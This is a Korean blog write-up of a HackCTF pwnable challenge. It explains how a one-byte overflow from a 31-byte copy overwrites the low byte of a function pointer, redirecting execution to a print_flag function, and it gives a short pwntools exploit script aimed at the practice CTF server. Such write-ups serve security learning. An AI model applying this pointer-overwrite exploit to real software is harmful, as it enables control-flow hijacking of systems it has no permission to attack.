반응형
32bit ELF 파일이다.
main함수로 ㄱㄱ
gets함수로 s에 길이 제한 없이 입력을 받는다.
그리고 select_func의 인자로 넘긴다.
select_func을 보자
아까 받은 인자가 src이다.
src 에서 dest로 31바이트만큼 복사한다.
dest가 one이면 one함수를, 아니면 two함수를 실행한다.
v3에 저장된 함수를 call한다.
위에서 31바이트만큼 복사를 하는데,
dest는 bp-2Ah에 있고, v3는 bp-Ch에 있고,
2A-C = 30이다.
그러면 v3의 1바이트만을 덮을 수 있다.
two함수의 offset은 0x6AD이고, flag를 출력해주는 print_flag의 offset은 0x6D8이다.
입력값이 one이 아니라면 v3에 0x6AD가 들어갈 것이고 1바이트를 \xD8로 덮어준다면 0x6D8이 되어서 해당 함수가 실행되고 flag가 출력된다.
payload = 더미(30) + "\xd8"
1
2
3
4
5
6
7
8
9
10
11
12
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3007)
p.recvline()
payload = "A" * (30)
payload += "\xd8"
p.sendline(payload)
p.interactive()
|
cs |
반응형
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [Basic_FSB] 풀이 (0) | 2019.08.30 |
---|---|
HackCTF Pwnable [BOF_PIE] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Simple_size_BOF] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Buffer Overflow] 풀이 (0) | 2019.08.29 |